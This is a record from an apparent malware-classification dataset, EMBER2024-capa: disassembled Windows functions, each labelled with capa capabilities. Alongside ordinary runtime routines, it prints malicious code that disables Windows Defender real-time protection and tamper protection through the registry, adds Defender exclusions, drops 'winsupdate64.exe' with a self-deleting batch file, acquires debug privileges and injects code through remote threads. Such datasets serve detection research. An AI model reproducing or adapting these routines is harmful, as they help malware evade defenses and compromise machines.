joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18007eaa8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18007ead8
xor eax, eax
jmp 0x18007eb9b
mov rbp, rbx
cmp word [rax], si
je 0x18007eafd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18007eae4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18007eae0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18007d1c0
movsxd r14, eax
test eax, eax
jne 0x18007eb3b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18007ead1
mov rcx, r14
call fcn.18007907c
mov rdi, rax
test rax, rax
jne 0x18007eb54
xor ecx, ecx
call fcn.180077d70
jmp 0x18007eb30
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18007d1c0
test eax, eax
jne 0x18007eb85
mov rcx, rdi
call fcn.180077d70
jmp 0x18007eb8f
xor ecx, ecx
call fcn.180077d70
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180081910
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180074e70
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1800819b1
cmp ebx, dword [rsp + 0x30]
je 0x1800819aa
test esi, esi
je 0x1800819aa
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180081985
sub r8w, 0x61
cmp r8w, 0x19
ja 0x180081992
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18008196f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180081996
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1800819b3
mov eax, 1
jmp 0x1800819b3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180085fd4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18007af90
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18007af90
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180086124
cmp rax, 0xffffffffffffffff
je 0x180086124
xor edi, edi
test rbp, rbp
jle 0x1800860cf
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18007835c
mov rbx, rax
test rax, rax
jne 0x18008605c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800860c5
mov edx, 0x8000
mov ecx, r14d
call fcn.180085e58
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180077808
cmp eax, 0xffffffff
je 0x1800860a5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18008606c
mov edx, r15d
mov ecx, r14d
call fcn.180085e58
jmp 0x1800860c5
cmp byte [rsi + 0x38], dil
je 0x1800860bc
cmp dword [rsi + 0x34], 5
jne 0x1800860bc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800860c5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180077d70
jmp 0x180086138
jns 0x180086138
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18007af90
cmp rax, 0xffffffffffffffff
jne 0x1800860f0
cmp byte [rsi + 0x30], dil
je 0x180086138
mov edi, dword [rsi + 0x2c]
jmp 0x180086138
mov ecx, r14d
call fcn.18007f264
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180086138
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180086138
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180086131
mov eax, dword [rsi + 0x2c]
jmp 0x180086136
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18007af90
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180086800
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180086828
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180086828
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400b1560
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400b156d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400b157d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400b1565
lea eax, [rcx + 1]
jmp 0x1400b158b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400b159e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400b1584
sub eax, 3
jb 0x1400b15be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400b160d
sar eax, 1
movsxd rbp, eax
jb 0x1400b15f4
jmp 0x1400b15cc
add ebx, ebx
jne 0x1400b15ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400b15f4
inc ecx
add ebx, ebx
jne 0x1400b15da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400b15f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400b15ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400b15dc
add ecx, 2
jmp 0x1400b15f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400b1522
jmp 0x1400b156d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x4400
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400b1659
cmp rsi, rcx
jae 0x1400b1661
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400b1640
cmp al, 0x8f
ja 0x1400b1640
cmp byte [rsi - 2], 0xf
je 0x1400b1646
sub al, 0xe8
cmp al, 1
ja 0x1400b162a
cmp rsi, rcx
jae 0x1400b1661
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400b1630
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400b1661
lodsb al, byte [rsi]
jmp 0x1400b1640
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xaf000]
mov eax, dword [rdi]
or eax, eax
je 0x1400b16be
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xb1138]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400b166e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400b16b8
mov qword [rbx], rax
add rbx, 8
jmp 0x1400b168e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400b16f8
cmp al, 0xef
ja 0x1400b16ea
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400b16ca
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400b16d9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400b174c
sub rsp, 0xffffffffffffff80
jmp 0x1400045a0
Function at 0x140c03160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140c032e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140c03191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c03177
add dl, dl
jne 0x140c0319e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c031fe
xor eax, eax
add dl, dl
jne 0x140c031ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140c032b5
add dl, dl
jne 0x140c031be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c031cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c031d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c031e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140c031f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140c03186
mov eax, 1
add dl, dl
jne 0x140c0320e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140c0321b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c03203
sub eax, ebx
mov ebx, 1
jne 0x140c03254
mov ecx, 1
add dl, dl
jne 0x140c03236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c03243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c0322b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c03186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140c03270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140c0327d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140c03265
cmp eax, 0x7d00
jae 0x140c032a3
cmp eax, 0x500
jb 0x140c0329e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c03186
cmp eax, 0x7f
ja 0x140c032a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140c03186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140c032da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140c03186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001100
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor ebp, ebp
lea rdi, [0x140006840]
lea r9, str.Unzxc_smxz8264.bat
lea rdx, [0x1400043a4]
lea rcx, [rsp + 0x160]
mov r8, rdi
mov dword [rsp + 0x40], ebp
call qword [sym.imp.MSVCR90.dll_sprintf]
mov rdx, rbp
nop word [rax + rax]
movzx eax, byte [rdx + rdi]
inc rdx
mov byte [rsp + rdx + 0x4f], al
test al, al
jne 0x140001160
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
movzx eax, word [0x1400043ac]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
mov rax, qword [str.winsupdate64.exe]
mov qword [rsp + 0x30], rbp
mov qword [rdi - 1], rax
mov rax, qword [0x1400043b8]
lea rcx, [rsp + 0x160]
mov qword [rdi + 7], rax
movzx eax, byte [0x1400043c0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov byte [rdi + 0xf], al
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000131a
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x140006950]
repne scasb al, byte [rdi]
lea rdi, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
mov qword [rsp + 0x290], rsi
not rcx
lea edx, [rcx + rcx*2 - 3]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x50]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x160]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea eax, [rdx + rcx + 0x63]
movsxd rdi, eax
mov rcx, rdi
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, 1
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call sub.MSVCR90.dll_memset
lea rax, [rsp + 0x160]
lea r9, [0x140006950]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
lea r8, [0x140006950]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
lea rdx, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCR90.dll_sprintf]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
lea r9, [rsp + 0x40]
mov rdx, rsi
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], rbp
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x160]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
test rsi, rsi
je 0x140001312
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
mov rsi, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400027c0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001340
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov edi, ecx
mov rcx, rdx
mov rbx, rdx
xor ebp, ebp
call qword [sym.imp.MSVCR90.dll_remove]
cmp eax, 0xffffffff
jne 0x140001384
call qword [sym.imp.MSVCR90.dll__errno]
cmp dword [rax], 0xd
jne 0x140001384
xor eax, eax
jmp 0x140001469
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x148], r12
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x140], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x1400043d0]
movzx edx, di
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor ecx, ecx
mov rdx, rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rdx, [rsp + 0x20]
mov rdi, rax
sub rdx, rbx
movzx ecx, byte [rbx]
inc rbx
mov byte [rdx + rbx - 1], cl
test cl, cl
jne 0x1400013d1
test rax, rax
je 0x140001457
mov rcx, rax
mov qword [rsp + 0x180], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x140001446
lea rdx, [0x1400043d8]
lea rcx, [rsp + 0x20]
mov ebp, 1
call qword [sym.imp.MSVCR90.dll_fopen]
mov ecx, ebp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r9, rbx
mov rdx, rbp
movsxd r8, eax
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fclose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rsi, qword [rsp + 0x180]
mov r13, qword [rsp + 0x140]
mov r12, qword [rsp + 0x148]
mov eax, ebp
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400027c0
add rsp, 0x150
pop rdi
pop rbp
pop rbx
ret

Function at 0x140001490
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov edi, ecx
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderFeatures
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x48], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001509
mov ebx, 1
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea r9d, [rbx + 3]
lea rdx, str.TamperProtection
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x48], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001519
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140001530
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x70]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400015a4
lea rax, [rsp + 0x68]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor eax, eax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400015d9
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
lea rdx, str.DisableRealtimeMonitoring
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400015e9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret

Function at 0x1400015f0
Capabilities:
Get common file path
Set registry value

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x60], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x60]
xor ebx, ebx
mov edx, 0x104
mov dword [rsp + 0x54], 4
mov dword [rsp + 0x50], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea r11, [rsp + 0x58]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400016ae
lea rax, [rsp + 0x54]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400016dd
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400016ed
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400027c0
add rsp, 0x180
pop rbx
ret
Function at 0x140001710
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001738
xor eax, eax
add rsp, 0x48
ret
lea r8, [rsp + 0x60]
lea rdx, [0x1400044d0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001731
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x40], rbx
xor ebx, ebx
lea r8, [rsp + 0x30]
xor edx, edx
lea r9d, [rbx + 0x10]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000179f
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
Function at 0x140001c20
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x50]
lea rdx, str.SYSTEMControlSet001ControlSession_ManagerPower
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001cd2
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea rdx, str.HiberbootEnabled
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [rsp + 0x40], 1
jne 0x140001cc7
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea rdx, str.HiberbootEnabled
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x38
ret

Function at 0x140001d80
Capabilities:
Check os version
Create thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rdi, rcx
mov rbp, r8
mov rsi, rdx
lea rcx, [rsp + 0x70]
xor ebx, ebx
xor edx, edx
mov r8d, 0x114
mov qword [rsp + 0x60], rbx
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x74], 6
jb 0x140001e3e
lea rcx, [0x140004530]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140004570]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001e3a
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x60]
mov r9, rdi
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rsi
call rax
mov rax, qword [rsp + 0x60]
test rax, rax
jne 0x140001e67
xor eax, eax
jmp 0x140001e7b
mov qword [rsp + 0x30], rbx
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140001e7b
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400027c0
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret